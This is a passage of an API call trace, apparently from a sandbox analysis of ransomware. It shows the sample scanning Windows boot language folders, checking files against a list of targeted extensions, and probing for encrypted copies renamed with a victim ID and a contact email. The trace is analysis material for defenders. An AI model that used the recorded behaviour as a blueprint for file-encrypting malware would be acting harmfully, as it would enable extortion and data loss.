(lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.034] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.035] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.035] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.035] lstrlenW (lpString=".doc") returned 4 [0147.035] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.035] lstrlenW (lpString=".docx") returned 5 [0147.035] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.035] lstrlenW (lpString=".pdf") returned 4 [0147.035] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.035] lstrlenW (lpString=".xls") returned 4 [0147.035] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.035] lstrlenW (lpString=".xlsx") returned 5 [0147.035] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.035] lstrlenW (lpString=".ppt") returned 4 [0147.035] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.035] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.035] lstrlenW (lpString=".zip") returned 4 [0147.035] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.035] lstrlenW (lpString=".rar") returned 4 [0147.035] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.035] lstrlenW (lpString=".bz2") returned 4 [0147.035] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.035] lstrlenW (lpString=".7z") returned 3 [0147.035] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.035] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.035] lstrlenW (lpString=".dbf") returned 4 [0147.035] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.035] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.035] lstrlenW (lpString=".1cd") returned 4 [0147.035] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.035] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.036] lstrlenW (lpString=".jpg") returned 4 [0147.036] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.036] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.036] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.036] lstrlenW (lpString=".doc") returned 4 [0147.036] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.036] lstrlenW (lpString=".docx") returned 5 [0147.036] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.036] lstrlenW (lpString=".pdf") returned 4 [0147.036] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.036] lstrlenW (lpString=".xls") returned 4 [0147.036] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.036] lstrlenW (lpString=".xlsx") returned 5 [0147.036] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.036] lstrlenW (lpString=".ppt") returned 4 [0147.036] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.036] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.036] lstrlenW (lpString=".zip") returned 4 [0147.036] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.036] lstrlenW (lpString=".rar") returned 4 [0147.036] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.036] lstrlenW (lpString=".bz2") returned 4 [0147.036] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.036] lstrlenW (lpString=".7z") returned 3 [0147.036] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.036] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.036] lstrlenW (lpString=".dbf") returned 4 [0147.036] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.036] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.037] lstrlenW (lpString=".1cd") returned 4 [0147.037] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.037] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0147.037] lstrlenW (lpString=".jpg") returned 4 [0147.037] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.037] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.037] lstrlenW (lpString="memtest.exe.mui") returned 15 [0147.037] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.038] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=45472) returned 1 [0147.038] CloseHandle (hObject=0x300) returned 1 [0147.038] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0147.038] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.038] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.038] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.038] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.038] lstrlenW (lpString=".doc") returned 4 [0147.038] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.038] lstrlenW (lpString=".docx") returned 5 [0147.038] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.038] lstrlenW (lpString=".pdf") returned 4 [0147.038] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.038] lstrlenW (lpString=".xls") returned 4 [0147.038] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.038] lstrlenW (lpString=".xlsx") returned 5 [0147.038] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.038] lstrlenW (lpString=".ppt") returned 4 [0147.038] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.038] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.038] lstrlenW (lpString=".zip") returned 4 [0147.038] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.038] lstrlenW (lpString=".rar") returned 4 [0147.039] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.039] lstrlenW (lpString=".bz2") returned 4 [0147.039] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.039] lstrlenW (lpString=".7z") returned 3 [0147.039] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.039] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.039] lstrlenW (lpString=".dbf") returned 4 [0147.039] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.039] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.039] lstrlenW (lpString=".1cd") returned 4 [0147.039] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.039] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.039] lstrlenW (lpString=".jpg") returned 4 [0147.039] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.039] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.039] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.039] lstrlenW (lpString=".doc") returned 4 [0147.039] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.039] lstrlenW (lpString=".docx") returned 5 [0147.039] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.039] lstrlenW (lpString=".pdf") returned 4 [0147.039] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.039] lstrlenW (lpString=".xls") returned 4 [0147.039] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.039] lstrlenW (lpString=".xlsx") returned 5 [0147.039] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.039] lstrlenW (lpString=".ppt") returned 4 [0147.039] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.039] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.040] lstrlenW (lpString=".zip") returned 4 [0147.040] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.040] lstrlenW (lpString=".rar") returned 4 [0147.040] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.040] lstrlenW (lpString=".bz2") returned 4 [0147.040] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.040] lstrlenW (lpString=".7z") returned 3 [0147.040] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.040] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.040] lstrlenW (lpString=".dbf") returned 4 [0147.040] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.040] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.040] lstrlenW (lpString=".1cd") returned 4 [0147.040] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.040] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0147.040] lstrlenW (lpString=".jpg") returned 4 [0147.040] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.040] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.040] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.040] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.041] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=79200) returned 1 [0147.041] CloseHandle (hObject=0x300) returned 1 [0147.041] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0147.041] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.041] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.041] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.041] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.041] lstrlenW (lpString=".doc") returned 4 [0147.041] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.041] lstrlenW (lpString=".docx") returned 5 [0147.041] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.041] lstrlenW (lpString=".pdf") returned 4 [0147.041] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.041] lstrlenW (lpString=".xls") returned 4 [0147.041] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.041] lstrlenW (lpString=".xlsx") returned 5 [0147.041] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.041] lstrlenW (lpString=".ppt") returned 4 [0147.041] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.041] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.042] lstrlenW (lpString=".zip") returned 4 [0147.042] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.042] lstrlenW (lpString=".rar") returned 4 [0147.042] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.042] lstrlenW (lpString=".bz2") returned 4 [0147.042] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.042] lstrlenW (lpString=".7z") returned 3 [0147.042] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.042] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.042] lstrlenW (lpString=".dbf") returned 4 [0147.042] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.042] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.042] lstrlenW (lpString=".1cd") returned 4 [0147.042] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.042] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.042] lstrlenW (lpString=".jpg") returned 4 [0147.042] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.042] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.042] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.042] lstrlenW (lpString=".doc") returned 4 [0147.042] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.042] lstrlenW (lpString=".docx") returned 5 [0147.042] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.042] lstrlenW (lpString=".pdf") returned 4 [0147.042] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.042] lstrlenW (lpString=".xls") returned 4 [0147.042] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.042] lstrlenW (lpString=".xlsx") returned 5 [0147.042] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.043] lstrlenW (lpString=".ppt") returned 4 [0147.043] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.043] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.043] lstrlenW (lpString=".zip") returned 4 [0147.043] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.043] lstrlenW (lpString=".rar") returned 4 [0147.043] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.043] lstrlenW (lpString=".bz2") returned 4 [0147.043] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.043] lstrlenW (lpString=".7z") returned 3 [0147.043] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.043] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.043] lstrlenW (lpString=".dbf") returned 4 [0147.043] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.043] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.043] lstrlenW (lpString=".1cd") returned 4 [0147.043] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.043] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0147.043] lstrlenW (lpString=".jpg") returned 4 [0147.043] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.043] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.043] lstrlenW (lpString="memtest.exe.mui") returned 15 [0147.043] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.044] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=45984) returned 1 [0147.044] CloseHandle (hObject=0x300) returned 1 [0147.044] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0147.044] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.044] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.044] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.044] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.044] lstrlenW (lpString=".doc") returned 4 [0147.044] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.044] lstrlenW (lpString=".docx") returned 5 [0147.044] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.044] lstrlenW (lpString=".pdf") returned 4 [0147.044] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.044] lstrlenW (lpString=".xls") returned 4 [0147.044] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.044] lstrlenW (lpString=".xlsx") returned 5 [0147.044] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.044] lstrlenW (lpString=".ppt") returned 4 [0147.044] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.044] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.045] lstrlenW (lpString=".zip") returned 4 [0147.045] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.045] lstrlenW (lpString=".rar") returned 4 [0147.045] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.045] lstrlenW (lpString=".bz2") returned 4 [0147.045] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.045] lstrlenW (lpString=".7z") returned 3 [0147.045] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.045] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.045] lstrlenW (lpString=".dbf") returned 4 [0147.045] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.045] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.045] lstrlenW (lpString=".1cd") returned 4 [0147.045] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.045] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.045] lstrlenW (lpString=".jpg") returned 4 [0147.045] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.045] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.045] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.045] lstrlenW (lpString=".doc") returned 4 [0147.045] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.045] lstrlenW (lpString=".docx") returned 5 [0147.045] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.045] lstrlenW (lpString=".pdf") returned 4 [0147.045] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.045] lstrlenW (lpString=".xls") returned 4 [0147.045] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.045] lstrlenW (lpString=".xlsx") returned 5 [0147.045] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.046] lstrlenW (lpString=".ppt") returned 4 [0147.046] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.046] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.046] lstrlenW (lpString=".zip") returned 4 [0147.046] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.046] lstrlenW (lpString=".rar") returned 4 [0147.046] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.046] lstrlenW (lpString=".bz2") returned 4 [0147.046] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.046] lstrlenW (lpString=".7z") returned 3 [0147.046] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.046] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.046] lstrlenW (lpString=".dbf") returned 4 [0147.046] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.046] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.046] lstrlenW (lpString=".1cd") returned 4 [0147.046] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.046] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0147.046] lstrlenW (lpString=".jpg") returned 4 [0147.046] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.046] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.046] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.046] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.047] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=80224) returned 1 [0147.047] CloseHandle (hObject=0x300) returned 1 [0147.047] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0147.047] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.047] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.047] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.047] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.047] lstrlenW (lpString=".doc") returned 4 [0147.047] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.047] lstrlenW (lpString=".docx") returned 5 [0147.047] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.047] lstrlenW (lpString=".pdf") returned 4 [0147.047] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.047] lstrlenW (lpString=".xls") returned 4 [0147.047] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.047] lstrlenW (lpString=".xlsx") returned 5 [0147.047] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.047] lstrlenW (lpString=".ppt") returned 4 [0147.047] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.047] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.048] lstrlenW (lpString=".zip") returned 4 [0147.048] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.048] lstrlenW (lpString=".rar") returned 4 [0147.048] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.048] lstrlenW (lpString=".bz2") returned 4 [0147.048] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.048] lstrlenW (lpString=".7z") returned 3 [0147.048] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.048] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.048] lstrlenW (lpString=".dbf") returned 4 [0147.048] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.048] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.048] lstrlenW (lpString=".1cd") returned 4 [0147.048] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.048] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.048] lstrlenW (lpString=".jpg") returned 4 [0147.048] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.048] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.048] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.048] lstrlenW (lpString=".doc") returned 4 [0147.048] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.048] lstrlenW (lpString=".docx") returned 5 [0147.048] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.048] lstrlenW (lpString=".pdf") returned 4 [0147.048] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.048] lstrlenW (lpString=".xls") returned 4 [0147.048] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.048] lstrlenW (lpString=".xlsx") returned 5 [0147.049] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.049] lstrlenW (lpString=".ppt") returned 4 [0147.049] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.049] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.049] lstrlenW (lpString=".zip") returned 4 [0147.049] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.049] lstrlenW (lpString=".rar") returned 4 [0147.049] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.049] lstrlenW (lpString=".bz2") returned 4 [0147.049] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.049] lstrlenW (lpString=".7z") returned 3 [0147.049] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.049] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.049] lstrlenW (lpString=".dbf") returned 4 [0147.049] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.049] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.049] lstrlenW (lpString=".1cd") returned 4 [0147.049] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.049] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0147.049] lstrlenW (lpString=".jpg") returned 4 [0147.049] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.049] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.049] lstrlenW (lpString="memtest.exe.mui") returned 15 [0147.049] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.050] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=46496) returned 1 [0147.050] CloseHandle (hObject=0x300) returned 1 [0147.050] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0147.050] GetFileAttributesW 